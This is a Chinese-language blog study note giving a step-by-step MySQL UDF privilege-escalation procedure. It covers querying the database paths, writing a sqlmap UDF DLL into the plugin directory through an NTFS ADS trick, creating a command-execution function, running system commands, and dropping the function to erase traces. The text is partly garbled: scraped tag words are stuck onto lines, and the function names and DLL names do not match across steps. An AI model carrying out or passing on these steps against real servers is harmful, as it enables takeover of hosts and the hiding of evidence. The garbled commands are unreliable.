Day2——提權學習之MySQL數據庫(UDF提權)

0x00 原理

UDF(user-defined function)是MySQL的一個拓展接口,也可稱之爲用戶自定義函數,它是用來拓展MySQL的技術手段,能夠說是數據庫功能的一種擴展。 經過在udf文件中定義新函數,對MYSQL的功能進行擴充,能夠執行系統任意命令,將MYSQL帳號root轉化爲系統system權限。html

0x01 利用條件

  1. mysql版本大於5.1,udf.dll文件必須放置在mysql安裝目錄的lib\plugin文件夾下mysql

  2. mysql版本小於5.1, udf.dll文件在windows server 2003下放置於c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄。sql

  3. 掌握mysql數據庫的帳戶,從擁有對mysql的insertdelete權限,以建立和拋棄函數。擁有能夠將udf.dll寫入相應目錄的權限。shell

  4. 能夠將udf.dll寫入到相應目錄的權限。數據庫

0x02 提權關鍵

導出UDF文件到指定路徑windows

0x03 提權步驟

一、獲取數據庫版本、數據位置以及插件位置等信息服務器

select version();//獲取數據庫版本 
select user();//獲取數據庫用戶 
select @@basedir ;//獲取安裝目錄 
show variables like '%plugins%'; //尋找mysql安裝路徑

二、導出UDF文件 關於UDF文件: sqlmap中有現成的udf文件,分爲32位和64位,必定要選擇對版本 關於路徑:網絡

MySQL<5.0,導出路徑隨意;
5.0 <= MySQL<5.1,則須要導出至目標服務器的系統目錄(如:c:/windows/system32/)
MySQL 5.1以上版本,必需要把udf.dll文件放到MySQL安裝目錄下的lib\plugin文件夾下才能建立自定義函數。

用NTFS ADS流模式突破進而建立文件夾函數

select @@basedir;  //查找到mysql的目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS建立lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS建立plugin目錄

三、建立cmdshell 函數url

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

四、執行自定義函數

select sys_eval(‘whoami’);

五、清除痕跡

drop function cmdshell

0x04 參考

https://www.cnblogs.com/R4v3n/articles/8722657.html 《網絡攻防實戰研究——漏洞利用與提權》

相關文章
相關標籤/搜索